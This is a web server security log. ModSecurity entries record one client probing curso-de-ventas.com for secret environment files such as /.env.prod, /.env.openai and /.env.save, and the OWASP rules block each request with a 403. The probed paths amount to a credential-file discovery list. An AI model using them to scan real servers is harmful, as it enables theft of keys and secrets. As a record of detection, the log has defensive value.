[Sat Oct 24 04:53:28.193410 2026] [security2:error] [pid 2603807:tid 2603807] [client 34.14.99.143:56460] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.live"] [unique_id "atxyCI3tkuH7XT-LVCb7KwAAAAE"]
[Sat Oct 24 04:53:28.193728 2026] [security2:error] [pid 2603807:tid 2603807] [client 34.14.99.143:56460] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.live"] [unique_id "atxyCI3tkuH7XT-LVCb7KwAAAAE"]
[Sat Oct 24 04:53:28.193772 2026] [security2:error] [pid 2607243:tid 2607243] [client 34.14.99.143:56480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.example"] [unique_id "atxyCFGNStwISql-V9e7oQAAAAs"]
[Sat Oct 24 04:53:28.194614 2026] [security2:error] [pid 2607254:tid 2607254] [client 34.14.99.143:56448] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.local"] [unique_id "atxyCHbxMMbsnMsBaxze6gAAABI"]
[Sat Oct 24 04:53:28.194732 2026] [security2:error] [pid 2603776:tid 2603776] [client 34.14.99.143:56466] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.old"] [unique_id "atxyCHX8E6TRudKM7Tq-_QAAABM"]
[Sat Oct 24 04:53:28.194767 2026] [security2:error] [pid 2607254:tid 2607254] [client 34.14.99.143:56448] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.local"] [unique_id "atxyCHbxMMbsnMsBaxze6gAAABI"]
[Sat Oct 24 04:53:28.194930 2026] [security2:error] [pid 2603776:tid 2603776] [client 34.14.99.143:56466] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.old"] [unique_id "atxyCHX8E6TRudKM7Tq-_QAAABM"]
[Sat Oct 24 04:53:28.194982 2026] [security2:error] [pid 2607254:tid 2607254] [client 34.14.99.143:56448] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.local"] [unique_id "atxyCHbxMMbsnMsBaxze6gAAABI"]
[Sat Oct 24 04:53:28.195148 2026] [security2:error] [pid 2603776:tid 2603776] [client 34.14.99.143:56466] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.old"] [unique_id "atxyCHX8E6TRudKM7Tq-_QAAABM"]
[Sat Oct 24 04:53:28.196025 2026] [security2:error] [pid 2607239:tid 2607239] [client 34.14.99.143:56422] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.openai"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.openai"] [unique_id "atxyCPW6YT0SU9_bWDbGjAAAAAk"]
[Sat Oct 24 04:53:28.196490 2026] [security2:error] [pid 2607239:tid 2607239] [client 34.14.99.143:56422] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.openai"] [unique_id "atxyCPW6YT0SU9_bWDbGjAAAAAk"]
[Sat Oct 24 04:53:28.196754 2026] [security2:error] [pid 2607239:tid 2607239] [client 34.14.99.143:56422] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.openai"] [unique_id "atxyCPW6YT0SU9_bWDbGjAAAAAk"]
[Sat Oct 24 04:53:28.197765 2026] [security2:error] [pid 2603780:tid 2603780] [client 34.14.99.143:56438] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.php"] [unique_id "atxyCBVGFs5mlQ9y3KndvAAAABc"]
[Sat Oct 24 04:53:28.197948 2026] [security2:error] [pid 2603780:tid 2603780] [client 34.14.99.143:56438] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.php"] [unique_id "atxyCBVGFs5mlQ9y3KndvAAAABc"]
[Sat Oct 24 04:53:28.198165 2026] [security2:error] [pid 2603780:tid 2603780] [client 34.14.99.143:56438] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.php"] [unique_id "atxyCBVGFs5mlQ9y3KndvAAAABc"]
[Sat Oct 24 04:53:28.199023 2026] [security2:error] [pid 2603788:tid 2603788] [client 34.14.99.143:56428] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.prod"] [unique_id "atxyCO3iNausmbvH7aw5XwAAAAA"]
[Sat Oct 24 04:53:28.199148 2026] [security2:error] [pid 2603788:tid 2603788] [client 34.14.99.143:56428] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.prod"] [unique_id "atxyCO3iNausmbvH7aw5XwAAAAA"]
[Sat Oct 24 04:53:28.199392 2026] [security2:error] [pid 2603788:tid 2603788] [client 34.14.99.143:56428] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.prod"] [unique_id "atxyCO3iNausmbvH7aw5XwAAAAA"]
[Sat Oct 24 04:53:28.268646 2026] [security2:error] [pid 2603807:tid 2603807] [client 34.14.99.143:56460] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.sample"] [unique_id "atxyCI3tkuH7XT-LVCb7LAAAAAE"]
[Sat Oct 24 04:53:28.268646 2026] [security2:error] [pid 2607243:tid 2607243] [client 34.14.99.143:56480] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.production"] [unique_id "atxyCFGNStwISql-V9e7ogAAAAs"]
[Sat Oct 24 04:53:28.268887 2026] [security2:error] [pid 2607243:tid 2607243] [client 34.14.99.143:56480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.production"] [unique_id "atxyCFGNStwISql-V9e7ogAAAAs"]
[Sat Oct 24 04:53:28.268888 2026] [security2:error] [pid 2603807:tid 2603807] [client 34.14.99.143:56460] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.sample"] [unique_id "atxyCI3tkuH7XT-LVCb7LAAAAAE"]
[Sat Oct 24 04:53:28.269176 2026] [security2:error] [pid 2603807:tid 2603807] [client 34.14.99.143:56460] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.sample"] [unique_id "atxyCI3tkuH7XT-LVCb7LAAAAAE"]
[Sat Oct 24 04:53:28.269272 2026] [security2:error] [pid 2607243:tid 2607243] [client 34.14.99.143:56480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.production"] [unique_id "atxyCFGNStwISql-V9e7ogAAAAs"]
[Sat Oct 24 04:53:28.270065 2026] [security2:error] [pid 2607254:tid 2607254] [client 34.14.99.143:56448] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.save"] [unique_id "atxyCHbxMMbsnMsBaxze6wAAABI"]
[Sat Oct 24 04:53:28.270136 2026] [security2:error] [pid 2603776:tid 2603776] [client 34.14.99.143:56466] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.staging"] [unique_id "atxyCHX8E6TRudKM7Tq-_gAAABM"]
[Sat Oct 24 04:53:28.270188 2026] [security2:error] [pid 2607254:tid 2607254] [client 34.14.99.143:56448] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.save"] [unique_id "atxyCHbxMMbsnMsBaxze6wAAABI"]
[Sat Oct 24 04:53:28.270295 2026] [security2:error] [pid 2603776:tid 2603776] [client 34.14.99.143:56466] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.staging"] [unique_id "atxyCHX8E6TRudKM7Tq-_gAAABM"]
[Sat Oct 24 04:53:28.270423 2026] [security2:error] [pid 2607254:tid 2607254] [client 34.14.99.143:56448] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.save"] [unique_id "atxyCHbxMMbsnMsBaxze6wAAABI"]
[Sat Oct 24 04:53:28.270505 2026] [security2:error] [pid 2603776:tid 2603776] [client 34.14.99.143:56466] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.staging"] [unique_id "atxyCHX8E6TRudKM7Tq-_gAAABM"]
[Sat Oct 24 04:53:28.271598 2026] [security2:error] [pid 2607239:tid 2607239] [client 34.14.99.143:56422] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.swp"] [unique_id "atxyCPW6YT0SU9_bWDbGjQAAAAk"]
[Sat Oct 24 04:53:28.271721 2026] [security2:error] [pid 2607239:tid 2607239] [client 34.14.99.143:56422] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.swp"] [unique_id "atxyCPW6YT0SU9_bWDbGjQAAAAk"]
[Sat Oct 24 04:53:28.271966 2026] [security2:error] [pid 2607239:tid 2607239] [client 34.14.99.143:56422] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.swp"] [unique_id "atxyCPW6YT0SU9_bWDbGjQAAAAk"]
[Sat Oct 24 04:53:28.274256 2026] [security2:error] [pid 2603780:tid 2603780] [client 34.14.99.143:56438] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.test"] [unique_id "atxyCBVGFs5mlQ9y3KndvQAAABc"]
[Sat Oct 24 04:53:28.274409 2026] [security2:error] [pid 2603780:tid 2603780] [client 34.14.99.143:56438] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.test"] [unique_id "atxyCBVGFs5mlQ9y3KndvQAAABc"]
[Sat Oct 24 04:53:28.274437 2026] [security2:error] [pid 2603788:tid 2603788] [client 34.14.99.143:56428] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.testing"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.testing"] [unique_id "atxyCO3iNausmbvH7aw5YAAAAAA"]
[Sat Oct 24 04:53:28.274570 2026] [security2:error] [pid 2603788:tid 2603788] [client 34.14.99.143:56428] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.testing"] [unique_id "atxyCO3iNausmbvH7aw5YAAAAAA"]
[Sat Oct 24 04:53:28.274630 2026] [security2:error] [pid 2603780:tid 2603780] [client 34.14.99.143:56438] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.test"] [unique_id "atxyCBVGFs5mlQ9y3KndvQAAABc"]
[Sat Oct 24 04:53:28.274798 2026] [security2:error] [pid 2603788:tid 2603788] [client 34.14.99.143:56428] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.testing"] [unique_id "atxyCO3iNausmbvH7aw5YAAAAAA"]
[Sat Oct 24 04:53:28.343973 2026] [security2:error] [pid 2607243:tid 2607243] [client 34.14.99.143:56480] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env~"] [unique_id "atxyCFGNStwISql-V9e7owAAAAs"]
